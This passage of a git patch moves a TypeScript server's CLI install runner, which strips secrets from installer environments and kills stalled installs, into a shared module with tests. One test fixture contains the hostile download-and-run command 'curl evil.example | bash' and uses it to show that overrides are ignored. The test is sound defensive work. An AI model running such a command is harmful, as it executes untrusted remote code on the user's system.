is the * server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place * the server user can write. test/routes/cli-registry-routes.test.ts imports both from the @@ -32,10 +31,16 @@ * command, admin only in multi-user mode, and writes the admin audit entry itself. */ -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { execFile, spawn } from 'node:child_process'; +import { constants as fsConstants } from 'node:fs'; +import { access } from 'node:fs/promises'; +import { dirname, join } from 'node:path'; +import { promisify } from 'node:util'; +import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js'; +import { STOCK_CLIS } from './config/cli-registry/stock.js'; +import { getErrorMessage } from './types.js'; +import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js'; +import { invalidateCliResolverCache } from './utils/cli-resolver.js'; /** How long an install command may run before its process group is killed. */ export const CLI_INSTALL_TIMEOUT_MS = 300_000; @@ -58,31 +63,207 @@ export interface RunInstallCommandOptions { } /** - * True when `npm install -g` can write to this environment's npm global prefix, or when that - * cannot be told (then nothing is redirected). Moved from cli-registry-routes.ts unchanged. + * Ids with an install running right now. A second request for the same id gets 409 rather + * than a second `curl | bash` or `npm install -g` racing the first over the same prefix. + */ +const installsInFlight = new Set<string>(); + +const execFileAsync = promisify(execFile); + +/** + * True when `npm install -g` can write to this process's npm global prefix, or when that cannot + * be determined (then nothing is redirected: a wrong guess would move installs somewhere the + * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath` + * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere. + * + * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on + * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is + * judged by the nearest ancestor that does: npm creates the missing directories, so a user + * `.npmrc` pointing at `~/.npm-global` before it was made is not moved. */ export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> { - return notImplemented('npmGlobalPrefixWritable', source); + try { + const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], { + env: source, + encoding: 'utf8', + timeout: 5_000, + killSignal: 'SIGKILL', + }); + const prefix = stdout.trim(); + if (!prefix) return true; + // npm creates lib/node_modules under the prefix; walk up to the first directory that exists. + let dir = join(prefix, 'lib', 'node_modules'); + for (;;) { + try { + await access(dir, fsConstants.W_OK); + return true; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false; + const parent = dirname(dir); + if (parent === dir) return false; + dir = parent; + } + } + } catch { + return true; + } } /** - * The environment of an install command: `source` minus every `CODEMAN_*` variable, with - * `NPM_CONFIG_PREFIX` pointed at `$HOME/.local` inside the Compose container or when the - * global prefix is not writable. Moved from cli-registry-routes.ts unchanged. + * The server's environment minus every `CODEMAN_*` variable. An install script is third-party + * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the + * data dir, the tmux socket), none of which an installer needs. + * + * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the + * server user can write and Codeman's resolvers already search (`~/.local/bin`): + * - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image + * update (the image's own prefix is image content); + * - on a native install whose npm global prefix is not writable by the server user (a system node + * under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243), + * e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the + * operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...). */ export function installEnv( source: NodeJS.ProcessEnv = process.env, prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true ): NodeJS.ProcessEnv { - return notImplemented('installEnv', source, prefixWritable); + const env: NodeJS.ProcessEnv = {}; + for (const [key, value] of Object.entries(source)) { + if (!key.startsWith('CODEMAN_')) env[key] = value; + } + // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE + // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...) + // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search + // list, so npm-based installs are redirected there. curl|bash installers already target HOME. + if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) { + redirectNpmPrefix(env, source.HOME); + } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) { + redirectNpmPrefix(env, source.HOME); + } + return env; } -/** Runs one install command to its end. Never throws: a spawn that fails is a result with `code: null`. */ +/** + * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a + * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings + * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit + * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one. + */ +function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void { + for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key]; + env.NPM_CONFIG_PREFIX = `${home}/.local`; +} + +/** + * `installEnv` for this process, with the (async) npm prefix probe done first and only when the + * command runs npm at all: a `curl | bash` installer never pays for it. + */ +async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> { + const usesNpm = /\bnpm\b/.test(command); + const probeNeeded = + usesNpm && + source.CODEMAN_IN_CONTAINER !== '1' && + process.platform !== 'win32' && + !!source.HOME && + !source.NPM_CONFIG_PREFIX; + const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true; + return installEnv(source, () => writable); +} + +/** + * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here: + * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT + * a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to + * prevent: the string executed here is NEVER user input, only ever what is already hardcoded + * and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the + * guard of each caller). + * + * Never throws: a spawn that fails is a result with `code: null`. + */ export async function runInstallCommand( command: string, options: RunInstallCommandOptions = {} ): Promise<CliInstallResult> { - return notImplemented('runInstallCommand', command, options); + const { signal } = options; + if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true }; + const env = await installEnvFor(command); + // The environment probe above can take a moment (npm boots): an abort during it starts nothing. + if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true }; + return new Promise((resolve) => { + let child: ReturnType<typeof spawn>; + try { + child = spawn(command, { + shell: true, + stdio: ['ignore', 'pipe', 'pipe'], + // Own process group; the timeout below kills the whole tree by hand, mirroring + // the DeepSeek profile-install endpoint's own reasoning: an install command fans + // out into package-manager children, and spawn's own `timeout` option signals + // only the direct child, leaving survivors holding the pipes open forever. + detached: true, + env, + }); + } catch (err) { + resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false }); + return; + } + + let output = ''; + let timedOut = false; + let aborted = false; + let settled = false; + let killTimer: NodeJS.Timeout | undefined; + let reapTimer: NodeJS.Timeout | undefined; + + const capture = (chunk: Buffer) => { + if (output.length < 16_384) output += chunk.toString('utf-8'); + }; + child.stdout?.on('data', capture); + child.stderr?.on('data', capture); + + const killTree = (killSignal: NodeJS.Signals) => { + try { + if (child.pid) process.kill(-child.pid, killSignal); + } catch { + /* already gone */ + } + }; + + /** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */ + const stopTree = () => { + if (killTimer) return; + killTree('SIGTERM'); + killTimer = setTimeout(() => killTree('SIGKILL'), 3_000); + reapTimer = setTimeout(() => finish(null), 8_000); + }; + + const onAbort = () => { + aborted = true; + stopTree(); + }; + + const finish = (code: number | null) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (killTimer) clearTimeout(killTimer); + if (reapTimer) clearTimeout(reapTimer); + signal?.removeEventListener('abort', onAbort); + resolve({ code, output, timedOut, aborted }); + }; + + const timer = setTimeout(() => { + timedOut = true; + stopTree(); + }, CLI_INSTALL_TIMEOUT_MS); + + signal?.addEventListener('abort', onAbort, { once: true }); + + child.on('error', (err) => { + output = `${output}\n${err.message}`; + finish(null); + }); + child.on('close', (code) => finish(code)); + }); } /** @@ -90,7 +271,10 @@ export async function runInstallCommand( * `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here. */ export function stockInstallCommand(id: string): string | undefined { - return notImplemented('stockInstallCommand', id); + const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id); + if (!entry) return undefined; + const command = resolveInstallCommandForPlatform(entry); + return command !== undefined && command.trim() !== '' ? command : undefined; } /** @@ -98,13 +282,23 @@ export function stockInstallCommand(id: string): string | undefined { * an install of that CLI is already running (the caller answers 409 or waits). */ export function tryBeginCliInstall(id: string): (() => void) | null { - return notImplemented('tryBeginCliInstall', id); + if (installsInFlight.has(id)) return null; + installsInFlight.add(id); + let released = false; + return () => { + if (released) return; + released = true; + installsInFlight.delete(id); + }; } /** - * Forgets every cached binary lookup of a CLI: the per-id resolver and every per-binary cache, - * hits and misses alike. Called after anything that may have changed what is on disk. + * Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures + * the entry's binaries when first built) and every per-binary cache, hits and negative-cache + * backoff alike. Called after anything that changes what is on disk or what the CLI's binary + * IS; see `invalidateCliExecutableResolvers`. */ export function forgetResolvedCli(id: string, binaries: readonly string[]): void { - return notImplemented('forgetResolvedCli', id, binaries); + invalidateCliExecutableResolvers(binaries); + invalidateCliResolverCache(id); } diff --git a/src/web/routes/cli-registry-routes.ts b/src/web/routes/cli-registry-routes.ts index d0a9f116..44cbd072 100644 --- a/src/web/routes/cli-registry-routes.ts +++ b/src/web/routes/cli-registry-routes.ts @@ -29,13 +29,8 @@ * write path (`registry-writer.ts` mirrors `custom-model-hosts.ts`). */ -import { execFile, spawn } from 'node:child_process'; -import { constants as fsConstants } from 'node:fs'; -import { access } from 'node:fs/promises'; -import { dirname, join } from 'node:path'; -import { promisify } from 'node:util'; import type { FastifyInstance, FastifyRequest } from 'fastify'; -import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js'; +import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js'; import { getAuthUser, isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { listClis, resolveInstallCommandForPlatform } from '../../config/cli-registry/registry.js'; @@ -45,9 +40,18 @@ import { STOCK_CLIS } from '../../config/cli-registry/stock.js'; import type { CliEntry } from '../../config/cli-registry/types.js'; import { CliCustomEntrySchema, CliEnableSchema } from '../schemas.js'; import { appendAdminAudit } from '../admin-audit.js'; -import { invalidateCliExecutableResolvers } from '../../utils/cli-executable-resolver.js'; -import { invalidateCliResolverCache } from '../../utils/cli-resolver.js'; import { isCliEntryInstalled, probeStockCliAvailability } from '../../utils/cli-installed-probes.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + tryBeginCliInstall, + type CliInstallResult, +} from '../../cli-install-runner.js'; + +// The install runner lives in src/cli-install-runner.ts, shared with the local model install +// job. These two stay importable from here, where the route's tests take them from. +export { installEnv, npmGlobalPrefixWritable } from '../../cli-install-runner.js'; /** * `cliManagementEnabled` defaults OFF, same reasoning as @@ -78,17 +82,6 @@ export interface CliListItem { installCommand?: string; } -/** - * Forget every cached binary lookup for this CLI — the generic per-id resolver (which - * captures the entry's binaries when first built) and every underlying per-binary cache, - * success and negative-cache backoff alike. Called after anything that changes what is on - * disk or what the CLI's binary IS; see `invalidateCliExecutableResolvers`. - */ -function forgetResolvedCli(id: string, binaries: readonly string[]): void { - invalidateCliExecutableResolvers(binaries); - invalidateCliResolverCache(id); -} - const STOCK_IDS = new Set(STOCK_CLIS.map((e) => e.id as string)); /** @@ -202,195 +195,6 @@ function nextOrder(): number { return (orders.length ? Math.max(...orders) : 0) + 10; } -/** Bounded execution: `PATH_INSTALL_TIMEOUT_MS`, output capped, process GROUP killed on timeout. */ -const CLI_INSTALL_TIMEOUT_MS = 300_000; - -/** - * Ids with an install running right now. A second request for the same id gets 409 rather - * than a second `curl | bash` or `npm install -g` racing the first over the same prefix. - */ -const installsInFlight = new Set<string>(); - -const execFileAsync = promisify(execFile); - -/** - * True when `npm install -g` can write to this process's npm global prefix, or when that cannot - * be determined (then nothing is redirected: a wrong guess would move installs somewhere the - * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath` - * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere. - * - * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on - * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is - * judged by the nearest ancestor that does: npm creates the missing directories, so a user - * `.npmrc` pointing at `~/.npm-global` before it was made is not moved. - */ -export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> { - try { - const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], { - env: source, - encoding: 'utf8', - timeout: 5_000, - killSignal: 'SIGKILL', - }); - const prefix = stdout.trim(); - if (!prefix) return true; - // npm creates lib/node_modules under the prefix; walk up to the first directory that exists. - let dir = join(prefix, 'lib', 'node_modules'); - for (;;) { - try { - await access(dir, fsConstants.W_OK); - return true; - } catch (err) { - if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false; - const parent = dirname(dir); - if (parent === dir) return false; - dir = parent; - } - } - } catch { - return true; - } -} - -/** - * The server's environment minus every `CODEMAN_*` variable. An install script is third-party - * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the - * data dir, the tmux socket), none of which an installer needs. - * - * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the - * server user can write and Codeman's resolvers already search (`~/.local/bin`): - * - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image - * update (the image's own prefix is image content); - * - on a native install whose npm global prefix is not writable by the server user (a system node - * under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243), - * e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the - * operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...). - */ -export function installEnv( - source: NodeJS.ProcessEnv = process.env, - prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true -): NodeJS.ProcessEnv { - const env: NodeJS.ProcessEnv = {}; - for (const [key, value] of Object.entries(source)) { - if (!key.startsWith('CODEMAN_')) env[key] = value; - } - // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE - // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...) - // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search - // list, so npm-based installs are redirected there. curl|bash installers already target HOME. - if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) { - redirectNpmPrefix(env, source.HOME); - } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) { - redirectNpmPrefix(env, source.HOME); - } - return env; -} - -/** - * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a - * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings - * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit - * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one. - */ -function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void { - for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key]; - env.NPM_CONFIG_PREFIX = `${home}/.local`; -} - -/** - * `installEnv` for this process, with the (async) npm prefix probe done first and only when the - * command runs npm at all: a `curl | bash` installer never pays for it. - */ -async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> { - const usesNpm = /\bnpm\b/.test(command); - const probeNeeded = - usesNpm && - source.CODEMAN_IN_CONTAINER !== '1' && - process.platform !== 'win32' && - !!source.HOME && - !source.NPM_CONFIG_PREFIX; - const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true; - return installEnv(source, () => writable); -} - -interface InstallResult { - code: number | null; - output: string; - timedOut: boolean; -} - -/** - * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here — - * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners — but this - * is NOT a reopening of the config-shell-text concern the registry's `shellToken` pattern - * exists to prevent: the string executed here is NEVER user input, only ever what is - * already hardcoded and reviewed in `stock.ts` (`resolveInstallCommandForPlatform`), and a - * CUSTOM entry can never reach this function at all — see the route's own guard below. - */ -async function runInstallCommand(command: string): Promise<InstallResult> { - const env = await installEnvFor(command); - return new Promise((resolve) => { - let child: ReturnType<typeof spawn>; - try { - child = spawn(command, { - shell: true, - stdio: ['ignore', 'pipe', 'pipe'], - // Own process group; the timeout below kills the whole tree by hand, mirroring - // the DeepSeek profile-install endpoint's own reasoning: an install command fans - // out into package-manager children, and spawn's own `timeout` option signals - // only the direct child, leaving survivors holding the pipes open forever. - detached: true, - env, - }); - } catch (err) { - resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false }); - return; - } - - let output = ''; - let timedOut = false; - let settled = false; - let killTimer: NodeJS.Timeout | undefined; - let reapTimer: NodeJS.Timeout | undefined; - - const capture = (chunk: Buffer) => { - if (output.length < 16_384) output += chunk.toString('utf-8'); - }; - child.stdout?.on('data', capture); - child.stderr?.on('data', capture); - - const killTree = (signal: NodeJS.Signals) => { - try { - if (child.pid) process.kill(-child.pid, signal); - } catch { - /* already gone */ - } - }; - - const finish = (code: number | null) => { - if (settled) return; - settled = true; - clearTimeout(timer); - if (killTimer) clearTimeout(killTimer); - if (reapTimer) clearTimeout(reapTimer); - resolve({ code, output, timedOut }); - }; - - const timer = setTimeout(() => { - timedOut = true; - killTree('SIGTERM'); - killTimer = setTimeout(() => killTree('SIGKILL'), 3_000); - reapTimer = setTimeout(() => finish(null), 8_000); - }, CLI_INSTALL_TIMEOUT_MS); - - child.on('error', (err) => { - output = `${output}\n${err.message}`; - finish(null); - }); - child.on('close', (code) => finish(code)); - }); -} - export function registerCliRegistryRoutes(app: FastifyInstance): void { // ---- Phase 2: read ---------------------------------------------------- // GET /api/clis — every registry entry, disabled ones included (this is an @@ -461,6 +265,8 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void { // ---- Phase 4: auto-install (stock only) -------------------------------- // One install per id at a time (409 otherwise), and the script never sees CODEMAN_* env. + // Bounded execution (`CLI_INSTALL_TIMEOUT_MS`), output capped, process GROUP killed on + // timeout: all of that is `runInstallCommand()` in src/cli-install-runner.ts. // POST /api/clis/:id/install — runs the entry's already-vetted install // command. Separate endpoint from Phase 3's toggle: installing is a bigger // action than a boolean flip and gets its own audit entry. Never auto- @@ -488,15 +294,16 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void { return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `"${id}" has no install command for this platform`); } - if (installsInFlight.has(id)) { + // ONE slot per id, shared with the local model install job (src/cli-install-runner.ts). + const release = tryBeginCliInstall(id); + if (!release) { return createErrorResponse(ApiErrorCode.CONFLICT, `"${id}" is already being installed`); } - installsInFlight.add(id); - let result: InstallResult; + let result: CliInstallResult; try { result = await runInstallCommand(command); } finally { - installsInFlight.delete(id); + release(); } // Even a failed or timed-out install may have left a binary behind, so forget the // cached lookups either way: the next Run click or badge read probes afresh diff --git a/test/cli-install-runner.test.ts b/test/cli-install-runner.test.ts new file mode 100644 index 00000000..81628999 --- /dev/null +++ b/test/cli-install-runner.test.ts @@ -0,0 +1,298 @@ +/** + * @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts): + * what is new in it since it left the registry route, and what both of its callers rely on. + * + * The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by + * test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here: + * - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot + * change what the local model install job runs; + * - the one install slot per CLI is shared: while the job holds it, the route answers 409; + * - an abort signal kills the installer's process group, and one that is already aborted + * starts nothing; + * - `forgetResolvedCli()` drops both caches. + * + * Nothing is really spawned: `spawn` is a fake child. + * + * Port: N/A (app.inject(), no live server). + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { EventEmitter } from 'node:events'; +import { mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { createRouteTestHarness } from './routes/_route-test-utils.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + stockInstallCommand, + tryBeginCliInstall, +} from '../src/cli-install-runner.js'; +import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { + getCli, + registryFilePath, + reloadCliRegistry, + resolveInstallCommandForPlatform, +} from '../src/config/cli-registry/registry.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; + +const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({ + spawnMock: vi.fn(), + invalidateBinariesSpy: vi.fn(), + invalidateIdSpy: vi.fn(), +})); +vi.mock('node:child_process', async (importOriginal) => { + const actual = await importOriginal<typeof import('node:child_process')>(); + return { ...actual, spawn: spawnMock }; +}); +vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => { + const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>(); + return { + ...actual, + invalidateCliExecutableResolvers: (binaries: readonly string[]) => { + invalidateBinariesSpy([...binaries]); + actual.invalidateCliExecutableResolvers(binaries); + }, + }; +}); +vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => { + const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>(); + return { + ...actual, + invalidateCliResolverCache: (id?: string) => { + invalidateIdSpy(id); + actual.invalidateCliResolverCache(id); + }, + }; +}); + +interface FakeChild extends EventEmitter { + pid: number; + stdout: EventEmitter; + stderr: EventEmitter; +} + +/** A spawned installer that stays alive until the test ends it. */ +function hangingChild(pid = 4_242_424): FakeChild { + const child = new EventEmitter() as FakeChild; + child.pid = pid; + child.stdout = new EventEmitter(); + child.stderr = new EventEmitter(); + return child; +} + +beforeEach(() => { + spawnMock.mockReset(); + invalidateBinariesSpy.mockClear(); + invalidateIdSpy.mockClear(); +}); + +afterEach(() => { + vi.useRealTimers(); + vi.restoreAllMocks(); +}); + +describe('stockInstallCommand', () => { + afterEach(() => { + rmSync(registryFilePath(), { force: true }); + reloadCliRegistry(); + }); + + it('is the compiled stock command of every stock CLI that has one for this platform', () => { + for (const entry of STOCK_CLIS) { + const expected = resolveInstallCommandForPlatform(entry); + expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined); + } + expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('is undefined for an id that is not a stock CLI', () => { + expect(stockInstallCommand('not-a-cli')).toBeUndefined(); + expect(stockInstallCommand('')).toBeUndefined(); + expect(stockInstallCommand('__proto__')).toBeUndefined(); + }); + + it('ignores a clis.json override: the registry shows the override, the stock command stays', () => { + mkdirSync(dirname(registryFilePath()), { recursive: true }); + writeFileSync( + registryFilePath(), + JSON.stringify({ + schemaVersion: 1, + clis: { + opencode: { + discovery: { + install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } }, + }, + }, + }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + // The override is in force for the registry (what the Settings list shows and the route runs)... + expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash'); + // ...and is not what the local model install job would run. + expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); +}); + +describe('tryBeginCliInstall', () => { + it('gives one slot per CLI id, and the slot comes back when it is released', () => { + const release = tryBeginCliInstall('slot-a'); + expect(release).toBeTypeOf('function'); + expect(tryBeginCliInstall('slot-a')).toBeNull(); + // Another CLI has its own slot. + const other = tryBeginCliInstall('slot-b'); + expect(other).toBeTypeOf('function'); + release!(); + const again = tryBeginCliInstall('slot-a'); + expect(again).toBeTypeOf('function'); + again!(); + other!(); + }); + + it('a release called twice frees the slot once: a later holder is not thrown out', () => { + const first = tryBeginCliInstall('slot-c')!; + first(); + const second = tryBeginCliInstall('slot-c')!; + first(); + expect(tryBeginCliInstall('slot-c')).toBeNull(); + second(); + }); + + it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true })); + const { app } = await createRouteTestHarness(registerCliRegistryRoutes); + const release = tryBeginCliInstall('grok')!; + try { + const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' }); + expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' }); + expect(spawnMock).not.toHaveBeenCalled(); + } finally { + release(); + } + // Released: the route installs again. + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => child.emit('close', 0)); + return child; + }); + const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' }); + expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } }); + // And the route gave the slot back when its install ended. + const after = tryBeginCliInstall('grok'); + expect(after).toBeTypeOf('function'); + after!(); + }); +}); + +describe('runInstallCommand', () => { + it('runs the command in a shell of its own process group and reports how it ended', async () => { + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => { + child.stdout.emit('data', Buffer.from('installed\n')); + child.emit('close', 0); + }); + return child; + }); + const result = await runInstallCommand('echo hello'); + expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false }); + expect(spawnMock).toHaveBeenCalledTimes(1); + expect(spawnMock.mock.calls[0][0]).toBe('echo hello'); + expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true }); + }); + + it('a spawn that throws is a result, not an exception', async () => { + spawnMock.mockImplementation(() => { + throw new Error('ENOENT sh'); + }); + expect(await runInstallCommand('echo hello')).toEqual({ + code: null, + output: 'spawn failed: ENOENT sh', + timedOut: false, + aborted: false, + }); + }); + + it('a signal that is already aborted starts nothing', async () => { + const controller = new AbortController(); + controller.abort(); + expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({ + code: null, + output: '', + timedOut: false, + aborted: true, + }); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => { + vi.useFakeTimers(); + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + const child = hangingChild(777_777); + spawnMock.mockImplementation(() => child); + const controller = new AbortController(); + const pending = runInstallCommand('echo hello', { signal: controller.signal }); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + + controller.abort(); + // The negative pid is the group: the installer's own children go with it. + expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM'); + expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL'); + await vi.advanceTimersByTimeAsync(3_000); + expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL'); + + child.emit('close', null); + expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true }); + }); + + it('an aborted installer that never closes is given up on after eight seconds', async () => { + vi.useFakeTimers(); + vi.spyOn(process, 'kill').mockImplementation(() => true); + spawnMock.mockImplementation(() => hangingChild()); + const controller = new AbortController(); + const pending = runInstallCommand('echo hello', { signal: controller.signal }); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + controller.abort(); + await vi.advanceTimersByTimeAsync(8_000); + expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false }); + }); + + it('the timeout still kills the group and says so, as it did in the route', async () => { + vi.useFakeTimers(); + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + const child = hangingChild(888_888); + spawnMock.mockImplementation(() => child); + const pending = runInstallCommand('echo hello'); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS); + expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM'); + child.emit('close', null); + expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false }); + }); + + it('an abort after the installer ended does nothing', async () => { + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => child.emit('close', 0)); + return child; + }); + const controller = new AbortController(); + const result = await runInstallCommand('echo hello', { signal: controller.signal }); + controller.abort(); + expect(result.aborted).toBe(false); + expect(kill).not.toHaveBeenCalled(); + }); +}); + +describe('forgetResolvedCli', () => { + it('drops the per-binary caches and the per-id resolver', () => { + forgetResolvedCli('opencode', ['opencode', 'opencode-bin']); + expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']); + expect(invalidateIdSpy).toHaveBeenCalledWith('opencode'); + }); +}); From a864acc52c00e70442a0906b955b3e84beb171f6 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 14/28] fix(custom-model): serialize every write of the endpoint store The four endpoint routes and the 5-minute discovery sweep each read custom-model-hosts.json, changed their copy and wrote it back through one shared temp file name. Two of them at once could tear the file or drop each other's record: ten creates sent together did not all land. Every write now goes through mutateCustomModelHosts() (one promise chain, a random temp name, mode 0600), with each check inside the same step as its write. A file that does not parse is refused with 409 and never replaced. A delete of an unknown id no longer rewrites the file. A guard test fails any other writer in 